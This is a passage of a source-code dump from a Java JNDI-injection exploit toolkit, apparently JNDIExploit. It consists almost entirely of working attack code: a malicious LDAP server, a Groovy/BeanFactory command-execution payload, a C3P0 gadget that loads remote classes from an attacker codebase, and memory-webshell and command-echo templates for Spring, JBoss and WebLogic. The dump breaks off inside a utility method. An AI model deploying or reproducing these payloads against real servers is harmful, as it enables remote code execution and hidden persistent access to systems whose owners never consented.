InvocationTargetException { 59 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 60 | setAccessible(objCons); 61 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 62 | setAccessible(sc); 63 | return (T)sc.newInstance(consArgs); 64 | } 65 | 66 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.springframework.web.context.WebApplicationContext; 9 | import org.springframework.web.servlet.handler.AbstractHandlerMapping; 10 | import sun.misc.BASE64Decoder; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.Method; 13 | import java.util.ArrayList; 14 | import java.util.LinkedHashSet; 15 | 16 | public class SpringMemshellTemplate extends AbstractTranslet { 17 | 18 | // 这种方式经过测试,可以兼容到 1.3.0.RELEASE 19 | public String DynamicFilterTemplateB64Code; 20 | public SpringMemshellTemplate(){ 21 | System.out.println("[+] Add Dynamic Interceptor"); 22 | 23 | try{ 24 | // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 25 | Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); 26 | // 2. 属性被 private 修饰,所以 setAccessible true 27 | field.setAccessible(true); 28 | // 3. 获取一个 ApplicationContext 实例 29 | WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next(); 30 | 31 | AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); 32 | field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 33 | field.setAccessible(true); 34 | ArrayList adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping); 35 | 36 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 37 | Class clazz = null; 38 | 39 | try{ 40 | BASE64Decoder base64Decoder = new BASE64Decoder(); 41 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 42 | 43 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 44 | method0.setAccessible(true); 45 | clazz = (Class) method0.invoke(classLoader, bytes, 0, bytes.length); 46 | 47 | }catch (Exception ex){ 48 | ex.printStackTrace(); 49 | } 50 | 51 | 52 | adaptedInterceptors.add(clazz.newInstance()); 53 | }catch(Exception e){ 54 | e.printStackTrace(); 55 | } 56 | } 57 | 58 | @Override 59 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 60 | 61 | } 62 | 63 | @Override 64 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 65 | 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/WeblogicEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import weblogic.servlet.internal.ServletResponseImpl; 9 | import weblogic.work.ExecuteThread; 10 | import weblogic.work.WorkAdapter; 11 | import weblogic.xml.util.StringInputStream; 12 | import java.lang.reflect.Field; 13 | import java.util.Scanner; 14 | 15 | public class WeblogicEchoTemplate extends AbstractTranslet { 16 | public String basicCmdShellPwd; 17 | 18 | public void setBasicCmdShellPwd(){ 19 | this.basicCmdShellPwd = ""; 20 | } 21 | 22 | public WeblogicEchoTemplate(){ 23 | setBasicCmdShellPwd(); 24 | try{ 25 | WorkAdapter adapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork(); 26 | if(adapter.getClass().getName().endsWith("ServletRequestImpl")){ 27 | String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, basicCmdShellPwd); 28 | if (cmd == null ){ 29 | cmd = (String) adapter.getClass().getMethod("getParameter", String.class).invoke(adapter, basicCmdShellPwd); 30 | } 31 | if(cmd != null && !cmd.isEmpty()){ 32 | String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 33 | ServletResponseImpl res = (ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); 34 | res.getServletOutputStream().writeStream(new StringInputStream(result)); 35 | res.getServletOutputStream().flush(); 36 | res.getWriter().write(""); 37 | } 38 | }else{ 39 | Field field = adapter.getClass().getDeclaredField("connectionHandler"); 40 | field.setAccessible(true); 41 | Object obj = field.get(adapter); 42 | obj = obj.getClass().getMethod("getServletRequest").invoke(obj); 43 | String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, basicCmdShellPwd); 44 | if (cmd.isEmpty()){ 45 | cmd = (String) adapter.getClass().getMethod("getParameter", String.class).invoke(adapter, basicCmdShellPwd); 46 | } 47 | if(cmd != null && !cmd.isEmpty()){ 48 | String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 49 | ServletResponseImpl res = (ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); 50 | res.getServletOutputStream().writeStream(new StringInputStream(result)); 51 | res.getServletOutputStream().flush(); 52 | res.getWriter().write(""); 53 | } 54 | } 55 | }catch(Exception e){ 56 | e.printStackTrace(); 57 | } 58 | } 59 | 60 | @Override 61 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 62 | 63 | } 64 | 65 | @Override 66 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 67 | 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.*; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | import javax.naming.StringRefAddr; 13 | 14 | /* 15 | * Requires: 16 | * - Tomcat and Groovy in classpath 17 | * 18 | * @author https://twitter.com/orange_8361 and https://github.com/welk1n 19 | * 20 | * Groovy 语法参考: 21 | * - https://xz.aliyun.com/t/8231#toc-7 22 | * - https://my.oschina.net/jjyuangu/blog/1815945 23 | * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails 24 | */ 25 | 26 | @LdapMapping(uri = { "/groovybypass" }) 27 | public class GroovyBypassController implements LdapController { 28 | private PayloadType type; 29 | private String[] params; 30 | private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + 31 | " ['cmd','/C', '${cmd}'].execute();\n" + 32 | " } else {\n" + 33 | " ['/bin/sh','-c', '${cmd}'].execute();\n" + 34 | " }"; 35 | 36 | @Override 37 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 38 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload"); 39 | 40 | Entry e = new Entry(base); 41 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 42 | 43 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 44 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 45 | ref.add(new StringRefAddr("forceString", "x=evaluate")); 46 | ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); 47 | 48 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 49 | 50 | result.sendSearchEntry(e); 51 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 52 | } 53 | 54 | @Override 55 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 56 | try{ 57 | int firstIndex = base.indexOf("/"); 58 | int secondIndex = base.indexOf("/", firstIndex + 1); 59 | if(secondIndex < 0) secondIndex = base.length(); 60 | 61 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType 62 | String payloadType = base.substring(firstIndex + 1, secondIndex); 63 | if(payloadType.equalsIgnoreCase("command")){ 64 | type = PayloadType.valueOf("command"); 65 | System.out.println("[+] Paylaod: " + type); 66 | }else{ 67 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 68 | } 69 | 70 | String cmd = Util.getCmdFromBase(base); 71 | System.out.println("[+] Command: " + cmd); 72 | params = new String[]{cmd}; 73 | }catch(Exception e){ 74 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 75 | 76 | throw new IncorrectParamsException("Incorrect params: " + base); 77 | } 78 | } 79 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import io.undertow.servlet.api.DeploymentInfo; 9 | import io.undertow.servlet.api.FilterInfo; 10 | import io.undertow.servlet.core.DeploymentImpl; 11 | import io.undertow.servlet.spec.HttpServletRequestImpl; 12 | import io.undertow.servlet.util.ConstructorInstanceFactory; 13 | import sun.misc.BASE64Decoder; 14 | import javax.security.jacc.PolicyContext; 15 | import javax.servlet.DispatcherType; 16 | import javax.servlet.Filter; 17 | import javax.servlet.ServletContext; 18 | import java.lang.reflect.Field; 19 | import java.lang.reflect.Method; 20 | import java.lang.reflect.Modifier; 21 | import java.util.Map; 22 | 23 | public class JBossMemshellTemplate extends AbstractTranslet { 24 | public String DynamicFilterTemplateB64Code; 25 | 26 | public JBossMemshellTemplate(){ 27 | try{ 28 | String filterName = "dynamicFilter"; 29 | String urlPattern = "/*"; 30 | 31 | HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); 32 | ServletContext context = request.getServletContext(); 33 | Field f = context.getClass().getDeclaredField("deploymentInfo"); 34 | f.setAccessible(true); 35 | DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context); 36 | 37 | //只添加一次 38 | Map filters = deploymentInfo.getFilters(); 39 | if(!filters.containsKey(filterName)){ 40 | System.out.println("[+] Add Dynamic Filter"); 41 | 42 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 43 | Class clazz = null; 44 | try{ 45 | BASE64Decoder base64Decoder = new BASE64Decoder(); 46 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 47 | 48 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 49 | method0.setAccessible(true); 50 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 51 | 52 | }catch (Exception ex){ 53 | ex.printStackTrace(); 54 | } 55 | 56 | FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); 57 | deploymentInfo.addFilter(filter); 58 | 59 | f = context.getClass().getDeclaredField("deployment"); 60 | f.setAccessible(true); 61 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 62 | modifiersField.setAccessible(true); 63 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 64 | DeploymentImpl deployment = (DeploymentImpl)f.get(context); 65 | deployment.getFilters().addFilter(filter); 66 | 67 | // 0 表示把我们动态注册的 filter 放在第一位 68 | deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST); 69 | } 70 | }catch(Exception e){ 71 | e.printStackTrace(); 72 | } 73 | } 74 | 75 | @Override 76 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 77 | 78 | } 79 | 80 | @Override 81 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 82 | 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/LdapServer.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import com.feihong.ldap.controllers.LdapController; 4 | import com.feihong.ldap.controllers.LdapMapping; 5 | import com.feihong.ldap.utils.Config; 6 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 7 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 8 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 11 | import org.reflections.Reflections; 12 | import javax.net.ServerSocketFactory; 13 | import javax.net.SocketFactory; 14 | import javax.net.ssl.SSLSocketFactory; 15 | import java.lang.reflect.Constructor; 16 | import java.net.InetAddress; 17 | import java.util.Set; 18 | import java.util.TreeMap; 19 | 20 | 21 | public class LdapServer extends InMemoryOperationInterceptor { 22 | 23 | TreeMap routes = new TreeMap(); 24 | 25 | public static void start() { 26 | try { 27 | InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); 28 | serverConfig.setListenerConfigs(new InMemoryListenerConfig( 29 | "listen", 30 | InetAddress.getByName("0.0.0.0"), 31 | Config.ldapPort, 32 | ServerSocketFactory.getDefault(), 33 | SocketFactory.getDefault(), 34 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 35 | 36 | serverConfig.addInMemoryOperationInterceptor(new LdapServer()); 37 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); 38 | ds.startListening(); 39 | System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "..."); 40 | } 41 | catch ( Exception e ) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | 46 | public LdapServer() throws Exception { 47 | 48 | //find all classes annotated with @LdapMapping 49 | Set> controllers = new Reflections(this.getClass().getPackage().getName()) 50 | .getTypesAnnotatedWith(LdapMapping.class); 51 | 52 | //instantiate them and store in the routes map 53 | for(Class controller : controllers) { 54 | Constructor cons = controller.getConstructor(); 55 | LdapController instance = (LdapController) cons.newInstance(); 56 | String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); 57 | for(String mapping : mappings) { 58 | if(mapping.startsWith("/")) 59 | mapping = mapping.substring(1); //remove first forward slash 60 | 61 | routes.put(mapping, instance); 62 | } 63 | } 64 | } 65 | 66 | /** 67 | * {@inheritDoc} 68 | * 69 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 70 | */ 71 | @Override 72 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 73 | String base = result.getRequest().getBaseDN(); 74 | System.out.println("[+] Received LDAP Query: " + base); 75 | LdapController controller = null; 76 | //find controller 77 | for(String key: routes.keySet()) { 78 | //compare using wildcard at the end 79 | if(base.toLowerCase().startsWith(key)) { 80 | controller = routes.get(key); 81 | break; 82 | } 83 | } 84 | 85 | if(controller == null){ 86 | System.out.println("[!] Invalid LDAP Query: " + base); 87 | return; 88 | } 89 | 90 | try { 91 | controller.process(base); 92 | controller.sendResult(result, base); 93 | } catch (Exception e1) { 94 | System.out.println("[!] Exception: " + e1.getMessage()); 95 | } 96 | } 97 | } -------------------------------------------------------------------------------- /target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst: -------------------------------------------------------------------------------- 1 | com/feihong/ldap/controllers/LdapMapping.class 2 | com/feihong/ldap/HTTPServer.class 3 | com/feihong/ldap/template/TomcatMemshellTemplate2.class 4 | com/feihong/ldap/RMIRefServer.class 5 | com/ibm/websphere/client/factory/jdbc/PropertiesRefAddr.class 6 | com/feihong/ldap/gadgets/CVE_2020_2883$1.class 7 | com/feihong/ldap/template/SpringMemshellTemplate.class 8 | com/feihong/ldap/template/CommandTemplate.class 9 | com/feihong/ldap/template/JettyMemshellTemplate.class 10 | com/feihong/ldap/gadgets/C3P0$PoolSource.class 11 | com/feihong/ldap/controllers/TomcatBypassController$TomcatBypassHelper.class 12 | com/feihong/ldap/template/DynamicInterceptorTemplate.class 13 | com/feihong/ldap/gadgets/Jre8u20.class 14 | com/feihong/ldap/controllers/LdapController.class 15 | com/feihong/ldap/gadgets/URLDNS$SilentURLStreamHandler.class 16 | com/feihong/ldap/gadgets/utils/Gadgets.class 17 | com/feihong/ldap/gadgets/C3P0.class 18 | com/feihong/ldap/template/WeblogicMemshellTemplate1.class 19 | com/feihong/ldap/gadgets/utils/Util.class 20 | com/feihong/ldap/utils/MyURLClassLoader.class 21 | com/feihong/ldap/controllers/WebsphereBypassController.class 22 | com/feihong/ldap/template/BehinderFilter.class 23 | com/feihong/ldap/LDAPRefServer$OperationInterceptor.class 24 | com/feihong/ldap/enumtypes/WebsphereActionType.class 25 | com/feihong/ldap/template/ReverseShellTemplate.class 26 | com/feihong/ldap/gadgets/CommonsCollectionsK2.class 27 | com/feihong/ldap/gadgets/utils/Gadgets$StubTransletPayload.class 28 | com/feihong/ldap/template/MyClassLoader.class 29 | com/feihong/ldap/RMIRefServer$1.class 30 | com/feihong/ldap/gadgets/CVE_2020_2555.class 31 | com/feihong/ldap/controllers/WebsphereBypassController$1.class 32 | com/feihong/ldap/controllers/BasicController$1.class 33 | com/feihong/ldap/LDAPRefServer.class 34 | com/feihong/ldap/enumtypes/GadgetType.class 35 | com/feihong/ldap/gadgets/C3P0$1.class 36 | com/feihong/ldap/RMIRefServer$MarshalOutputStream.class 37 | com/feihong/ldap/gadgets/CommonsBeanutils2.class 38 | com/feihong/ldap/template/WebsphereMemshellTemplate.class 39 | com/feihong/ldap/utils/Util.class 40 | com/feihong/ldap/gadgets/URLDNS.class 41 | com/feihong/ldap/controllers/SerializedDataController.class 42 | com/feihong/ldap/template/JBossMemshellTemplate.class 43 | com/feihong/ldap/gadgets/utils/Gadgets$1.class 44 | com/feihong/ldap/controllers/TomcatBypassController$1.class 45 | com/feihong/ldap/controllers/SerializedDataController$1.class 46 | com/feihong/ldap/controllers/TomcatBypassController.class 47 | com/feihong/ldap/Starter.class 48 | com/feihong/ldap/template/TomcatEchoTemplate.class 49 | com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.class 50 | com/feihong/ldap/gadgets/CommonsCollectionsK1.class 51 | com/feihong/ldap/RMIRefServer$2.class 52 | com/feihong/ldap/template/SpringEchoTemplate.class 53 | com/feihong/ldap/controllers/GroovyBypassController.class 54 | com/feihong/ldap/gadgets/utils/ClassFiles.class 55 | com/feihong/ldap/template/WeblogicEchoTemplate.class 56 | com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.class 57 | com/feihong/ldap/exceptions/IncorrectParamsException.class 58 | com/feihong/ldap/gadgets/utils/Gadgets$Foo.class 59 | com/feihong/ldap/utils/Cache.class 60 | com/feihong/ldap/gadgets/Jdk7u21.class 61 | com/feihong/ldap/template/TomcatMemshellTemplate1.class 62 | com/feihong/ldap/controllers/BasicController.class 63 | com/feihong/ldap/template/Template.class 64 | com/feihong/ldap/exceptions/UnSupportedActionTypeException.class 65 | com/feihong/ldap/template/DynamicFilterTemplate.class 66 | com/feihong/ldap/gadgets/CVE_2020_2555$1.class 67 | com/feihong/ldap/enumtypes/PayloadType.class 68 | com/feihong/ldap/LdapServer.class 69 | com/feihong/ldap/gadgets/CommonsBeanutils1.class 70 | com/feihong/ldap/HTTPServer$1.class 71 | com/feihong/ldap/utils/Config.class 72 | com/feihong/ldap/template/isOK.class 73 | com/feihong/ldap/template/WeblogicMemshellTemplate2.class 74 | com/feihong/ldap/gadgets/CVE_2020_2883.class 75 | com/feihong/ldap/template/DnslogTemplate.class 76 | com/feihong/ldap/gadgets/utils/Reflections.class 77 | com/feihong/ldap/RMIRefServer$Dummy.class 78 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/LDAPRefServer.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import java.net.InetAddress; 4 | import java.net.MalformedURLException; 5 | import java.net.URL; 6 | 7 | import javax.net.ServerSocketFactory; 8 | import javax.net.SocketFactory; 9 | import javax.net.ssl.SSLSocketFactory; 10 | 11 | import com.feihong.ldap.utils.Config; 12 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 13 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 14 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 15 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 16 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 17 | import com.unboundid.ldap.sdk.Entry; 18 | import com.unboundid.ldap.sdk.LDAPException; 19 | import com.unboundid.ldap.sdk.LDAPResult; 20 | import com.unboundid.ldap.sdk.ResultCode; 21 | 22 | 23 | /** 24 | * LDAP server implementation returning JNDI references 25 | * 26 | * @author mbechler 27 | * 28 | */ 29 | public class LDAPRefServer { 30 | 31 | private static final String LDAP_BASE = "dc=example,dc=com"; 32 | 33 | 34 | public static void main () { 35 | int port = 13890; 36 | // if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { 37 | // System.err.println(LDAPRefServer.class.getSimpleName() + " []"); //$NON-NLS-1$ 38 | // System.exit(-1); 39 | // } 40 | // else if ( args.length > 1 ) { 41 | // port = C 42 | // } 43 | String url = "http://" + Config.ip + ":34560/#BehinderFilter" ; 44 | 45 | try { 46 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 47 | config.setListenerConfigs(new InMemoryListenerConfig( 48 | "listen", //$NON-NLS-1$ 49 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 50 | port, 51 | ServerSocketFactory.getDefault(), 52 | SocketFactory.getDefault(), 53 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 54 | 55 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); 56 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 57 | System.out.println("[+] LDAP Server2 Listening Start on 0.0.0.0:" + port); //$NON-NLS-1$ 58 | ds.startListening(); 59 | 60 | } 61 | catch ( Exception e ) { 62 | e.printStackTrace(); 63 | } 64 | } 65 | 66 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 67 | 68 | private URL codebase; 69 | 70 | 71 | /** 72 | * 73 | */ 74 | public OperationInterceptor ( URL cb ) { 75 | this.codebase = cb; 76 | } 77 | 78 | 79 | /** 80 | * {@inheritDoc} 81 | * 82 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 83 | */ 84 | @Override 85 | public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 86 | String base = result.getRequest().getBaseDN(); 87 | Entry e = new Entry(base); 88 | try { 89 | sendResult(result, base, e); 90 | } 91 | catch ( Exception e1 ) { 92 | e1.printStackTrace(); 93 | } 94 | 95 | } 96 | 97 | 98 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { 99 | URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); 100 | System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); 101 | e.addAttribute("javaClassName", "foo"); 102 | String cbstring = this.codebase.toString(); 103 | int refPos = cbstring.indexOf('#'); 104 | if ( refPos > 0 ) { 105 | cbstring = cbstring.substring(0, refPos); 106 | } 107 | e.addAttribute("javaCodeBase", cbstring); 108 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 109 | e.addAttribute("javaFactory", this.codebase.getRef()); 110 | result.sendSearchEntry(e); 111 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 112 | } 113 | 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/C3P0.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.io.PrintWriter; 6 | import java.lang.reflect.Field; 7 | import java.sql.SQLException; 8 | import java.sql.SQLFeatureNotSupportedException; 9 | import java.util.logging.Logger; 10 | import javax.naming.NamingException; 11 | import javax.naming.Reference; 12 | import javax.naming.Referenceable; 13 | import javax.sql.ConnectionPoolDataSource; 14 | import javax.sql.PooledConnection; 15 | 16 | import com.feihong.ldap.template.*; 17 | import com.feihong.ldap.utils.Config; 18 | import com.feihong.ldap.enumtypes.PayloadType; 19 | import com.mchange.v2.c3p0.PoolBackedDataSource; 20 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 21 | 22 | 23 | public class C3P0 { 24 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 25 | 26 | String className; 27 | switch (type){ 28 | case command: 29 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 30 | commandTemplate.cache(); 31 | className = commandTemplate.getClassName(); 32 | break; 33 | case dnslog: 34 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 35 | dnslogTemplate.cache(); 36 | className = dnslogTemplate.getClassName(); 37 | break; 38 | case reverseshell: 39 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 40 | reverseShellTemplate.cache(); 41 | className = reverseShellTemplate.getClassName(); 42 | break; 43 | case tomcatecho: 44 | className = TomcatEchoTemplate.class.getName(); 45 | break; 46 | case springecho: 47 | className = SpringEchoTemplate.class.getName(); 48 | break; 49 | case weblogicecho: 50 | className = WeblogicEchoTemplate.class.getName(); 51 | break; 52 | case tomcatmemshell1: 53 | className = TomcatMemshellTemplate1.class.getName(); 54 | break; 55 | case tomcatmemshell2: 56 | className = TomcatMemshellTemplate2.class.getName(); 57 | break; 58 | case jettymemshell: 59 | className = JettyMemshellTemplate.class.getName(); 60 | break; 61 | case jbossmemshell: 62 | className = JBossMemshellTemplate.class.getName(); 63 | break; 64 | case weblogicmemshell1: 65 | className = WeblogicMemshellTemplate1.class.getName(); 66 | break; 67 | case weblogicmemshell2: 68 | className = WeblogicMemshellTemplate2.class.getName(); 69 | break; 70 | case webspherememshell: 71 | className = WebsphereMemshellTemplate.class.getName(); 72 | break; 73 | case springmemshell: 74 | className = SpringMemshellTemplate.class.getName(); 75 | break; 76 | default: 77 | throw new IllegalStateException("Unexpected value: " + type); 78 | } 79 | 80 | PoolBackedDataSource b = PoolBackedDataSource.class.newInstance(); 81 | Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); 82 | field.setAccessible(true); 83 | field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/")); 84 | 85 | //序列化 86 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 87 | ObjectOutputStream oos = new ObjectOutputStream(baous); 88 | oos.writeObject(b); 89 | byte[] bytes = baous.toByteArray(); 90 | oos.close(); 91 | 92 | return bytes; 93 | } 94 | 95 | 96 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 97 | 98 | private String className; 99 | private String url; 100 | 101 | public PoolSource ( String className, String url ) { 102 | this.className = className; 103 | this.url = url; 104 | } 105 | 106 | public Reference getReference () throws NamingException { 107 | return new Reference("exploit", this.className, this.url); 108 | } 109 | 110 | public PrintWriter getLogWriter () throws SQLException {return null;} 111 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 112 | public void setLoginTimeout ( int seconds ) throws SQLException {} 113 | public int getLoginTimeout () throws SQLException {return 0;} 114 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 115 | public PooledConnection getPooledConnection () throws SQLException {return null;} 116 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Util.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import javassist.CtConstructor; 6 | import org.objectweb.asm.ClassReader; 7 | 8 | import java.io.*; 9 | import java.lang.reflect.Method; 10 | import java.util.Random; 11 | 12 | public class Util { 13 | public static byte[] bbbb; 14 | public static String getRandomString() { 15 | String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 16 | StringBuilder sb = new StringBuilder(); 17 | for (int i = 0; i < 10; i++) { 18 | char ch = str.charAt(new Random().nextInt(str.length())); 19 | sb.append(ch); 20 | } 21 | return sb.toString(); 22 | } 23 | 24 | public static String getClassCode(Class clazz) throws Exception { 25 | byte[] bytes = getClassBytes(clazz); 26 | String result = Util.base64Encode(bytes); 27 | 28 | return result; 29 | } 30 | 31 | public static byte[] getClassBytes(Class clazz) throws Exception { 32 | 33 | String className = clazz.getName(); 34 | byte[] returnBytes; 35 | String classNameSuf = className.split("\\.")[className.split("\\.").length-1]; 36 | if(Cache.contains(classNameSuf)){ 